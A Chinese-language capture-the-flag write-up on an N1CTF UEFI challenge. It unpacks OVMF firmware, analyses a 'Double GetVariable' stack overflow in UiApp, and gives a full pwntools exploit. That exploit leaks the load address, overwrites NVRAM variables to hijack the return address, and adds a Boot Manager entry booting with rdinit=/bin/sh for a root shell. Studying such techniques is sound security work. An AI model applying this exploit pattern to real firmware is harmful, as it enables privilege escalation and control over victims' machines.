作者:Rivaille@知道創宇404實驗室
日期:2022年11月10日
周末的時候打了n1ctf,遇到一道uefi相關的題目,我比較感興趣,之前就想學習一下安全啟動相關的東西,這次正好趁著這個機會入門一下。
周天做的時候,一直卡在一個點上,沒有多去找找資料屬實敗筆。
題目分析
先解包OVMF.fd文件,用uefi-firmware-parse這個工具:
uefi-firmware-parser -ecO ./OVMF.fd
簡單看一下解包后的目錄,大致判斷BIOS可能在file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792或者file-df1ccef6-f301-4a63-9661-fc6030dcc880這個目錄中。

通過對UiApp字符串的查找,基本判斷UiApp是在volume-0/file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792/section0目錄下。

連按f12進入BIOS之后,可以看到UiApp一閃而過,然后看到了熟悉的菜單,找找關鍵的字符串,就確定了對應的二進制文件。

現在需要修改一下啟動腳本,讓腳本啟動OVMF.fd之后掛住,然后gdb attach進行調試。
import os, subprocess
import random
def main():
try:
os.system("rm -f OVMF.fd")
os.system("cp OVMF.fd.bak OVMF.fd")
ret = subprocess.call([
"qemu-system-x86_64",
"-m", str(256+random.randint(0, 512)),
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
"-s","-S",
"-nographic"
])
print("Return:", ret)
except Exception as e:
print(e)
print("Error!")
finally:
print("Done.")
if __name__ == "__main__":
main()
了解過操作系統的朋友們應該知道,操作系統的加載過程分為三步:BIOS固件(或者說是UEFI)的內存地址是寫死的,通過BIOS加載bootloader,再通過bootloader去完成對操作系統鏡像的加載。gdb attach之后,我們看到程序斷在了0xfff0地址處,這個應該就是BIOS的基址了。

漏洞分析
進入UiApp之后沒有直接到Boot Manager界面,而是到了菜單界面,猜測一下這是需要解題者hacker掉這個菜單,劫持控制流到BIOS中可以獲取高權限shell的地方。通過查找關鍵字,鎖定了目標程序:file-9e21fd93-9c72-4c15-8c4b-e77f1db2d792\section0\section3\volume-ee4e5898-3914-4259-9d6e-dc7bd79403cf\file-462caa21-7614-4503-836e-8ab6f4662331\section0.pe。
通過winchecksec查看開啟的保護機制:

然后通過關鍵字很快就定位到了出題人加的菜單函數中,但是很煩的事情是,我發現ida不能正確識別函數參數:

反匯編之后的結果成了這個鳥樣:




通過查找資料以及逆向分析,還原出了gRT這個結構體,其中有兩個比較重要的成員函數:gRT->SetVariable將棧中的值寫入鍵值對,gRT->GetVariable將鍵值對中的值拷貝到棧中。經過分析,大概判斷是要通過gRT->GetVariable來實現棧溢出,完成對控制流的劫持。
但是溢出點在哪里呢?當時在比賽過程中一直卡在這兒,最失誤的一點就是沒有多google一下,一直在蒙頭做題。在賽后和Mr.R師傅交流的過程中,得知這道題考察的是UEFI中一種常見的漏洞模式:Double GetVariable。
漏洞原理是這樣的:GetVariable在第一次從nvram取值寫入棧中時,如果nvram變量的長度不為1,datasize的長度會被改寫為對應nvram變量的長度。第二次調用GetVariable函數時,如果對datasize未做初始化,就有可能造成溢出。
相關漏洞可以參考一下這篇文章:https://binarly.io/advisories/BRLY-2021-007/index.html。(比賽時候還是得多google一下)。
回到Encode函數,我們看到函數從N1CTF_KEY中取值寫入棧,然后和buffer中的值進行異或運算。而Add函數可以重新寫入nvram變量,且寫入的字符串最大長度為256字節,就是說我們可以通過Add覆蓋掉之前定義的N1CTF_KEY1,N1CTF_KEY2,N1CTF_KEY3這三個變量的值。我們覆寫N1CTF_KEY1的值為a*0x1c,覆寫N1CTF_KEY2的值為a*0x18+p32(boot_addr),然后設置一個nvram變量OVERFLOW,使其長度為0x11個字節,然后進入Encode函數,對OVERFLOW的值進行編碼,這樣第一次讀取N1CTF_KEY1改寫datasize,第二次讀取N1CTF_KEY2就可以溢出到函數的返回地址處,劫持rip寄存器,使其跳轉到boot manager的設置界面,獲取root shell。

這里的pwn函數就是出題人加的存在漏洞的函數,我們可以把控制流劫持到后面的else的基本塊中去,然后應該可以正常進入Boot Manager的界面。
動態調試
首先要確定UiApp加載的基址,一個很好的辦法是對內存中特定的指令序列進行搜索,比如說我們在ida里面找到這條指令。



第二個地址減去偏移就是程序的基址。
調試的過程中會發現一個問題:雖然winchecksec檢查程序沒有開啟aslr,但是實際上UiApp的加載基址是在變化的。所以需要泄露.text段的一個內存地址,才能成功把返回地址覆寫成boot manager對應的地址。
在調試的過程中,我發現當Add設置的字符串長度等于256個字節時,會打印出一個地址。通過多次嘗試,我發現這個地址和UiApp的基址的偏移一定程度上是固定,為0x1d009c0或者0x1e009c0,通過泄露出的地址減去偏移實際上也就得到了UiApp的基址。

漏洞利用
和圖形化界面進行交互,pwntools確實還存在一些問題,所以可以通過socat來進行連接。最終exp如下:
from pwn import *
context.log_level = "debug"
context.arch = "amd64"
boot_offset = 0x235A
uiapp_offset = 0x1e009c0
DEBUG = 1
if DEBUG == 1:
'''
fname = "/tmp/uefi"
os.system("cp OVMF.fd %s"%fname)
os.system("chmod u+w %s"%fname)
'''
p = process([
"qemu-system-x86_64",
"-m", str(256+random.randint(0, 512)),
"-drive", "if=pflash,format=raw,file=OVMF.fd",
"-drive", "file=fat:rw:contents,format=raw",
"-net", "none",
"-monitor", "/dev/null",
#"-s","-S",
"-nographic"
])
else :
p = remote("47.243.105.43","9999")
LOCAL_REMOTE = 0
if LOCAL_REMOTE:
os.system("socat $(tty),echo=0,escape=0x03 SYSTEM:\"python ./exp.py \" 2>&1")
key_map = {
"up": b"\x1b[A",
"down": b"\x1b[B",
"left": b"\x1b[D",
"right": b"\x1b[C",
"esc": b"\x1b^[",
"enter": b"\r",
"tab": b"\t"
}
def send_key(key,times = 1):
for _ in range(times):
p.send(key_map[key])
if key == "enter":
p.recv()
def add(Keyname,Keyvalue):
p.sendlineafter("> \n",str(1))
p.sendlineafter('Key name:\n',Keyname)
p.sendlineafter('Key value:\n',Keyvalue)
def delete(Keyname,Keyvalue):
p.sendlineafter("> \n",str(2))
p.sendlineafter('Key name:\n',Keyname)
def Encode(Keyname):
p.sendlineafter("> \n",str(4))
p.sendlineafter("Key name:\n",Keyname)
p.recv()
def exp():
# leak UiAPP address
p.sendline("\x1b[24~"*10)
p.sendlineafter("> \n",str(1))
p.sendlineafter("Key name:\n","N1CTF_KEY3")
p.sendafter("Key value:\n",'a'*256)
p.recvuntil('Encode\n> \n')
p.sendline(str(3))
p.recvuntil("Key name:\n")
p.sendline('N1CTF_KEY3')
p.recvuntil('Value: \n')
p.recvuntil('a'*256)
data = p.recvuntil('\n').strip('\n')
leak_addr,i,j = 0,0,0
while i < len(data):
print(data[i])
if data[i] == "\\":
n = int(data[i+2],16)*0x10 + int(data[i+3],16)
i += 4
else:
n = ord(data[i])
i += 1
leak_addr += n * (0x100**j)
j += 1
uiapp_base_addr = leak_addr - uiapp_offset
log.success("leak address: %s"%hex(leak_addr))
log.success("UiApp address: %s"%hex(uiapp_base_addr))
boot_addr = uiapp_base_addr + boot_offset
pause()
# statck overflow
payload = 'a'*0x18 + p32(boot_addr)
add("N1CTF_KEY1",payload)
add("N1CTF_KEY2",payload)
add("OVERFLOW",'a'*0x11)
p.recvuntil("> \n")
p.sendline('4')
p.recvuntil('Key name:\n')
p.sendline('OVERFLOW')
# Add option,get root shell
p.recvuntil(b"Standard PC")
send_key("down", 3)
send_key("enter")
send_key("enter")
send_key("down")
send_key("enter")
send_key("enter")
send_key("down", 3)
send_key("enter")
p.send(b"\rrootshell\r")
send_key("down")
p.send(b"\rconsole=ttyS0 initrd=rootfs.img rdinit=/bin/sh quiet\r")
send_key("down")
send_key("enter")
send_key("up")
send_key("enter")
send_key("esc")
send_key("enter")
send_key("down", 3)
send_key("enter")
# root shell
# p.sendlineafter(b"/ #", b"cat /flag")
p.interactive()
def main():
exp()
if __name__ == "__main__":
main()

參考資料
https://www.anquanke.com/post/id/243007#h2-0
https://eqqie.cn/index.php/archives/1929
https://github.com/topics/uefi-pwn
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/2010/
暫無評論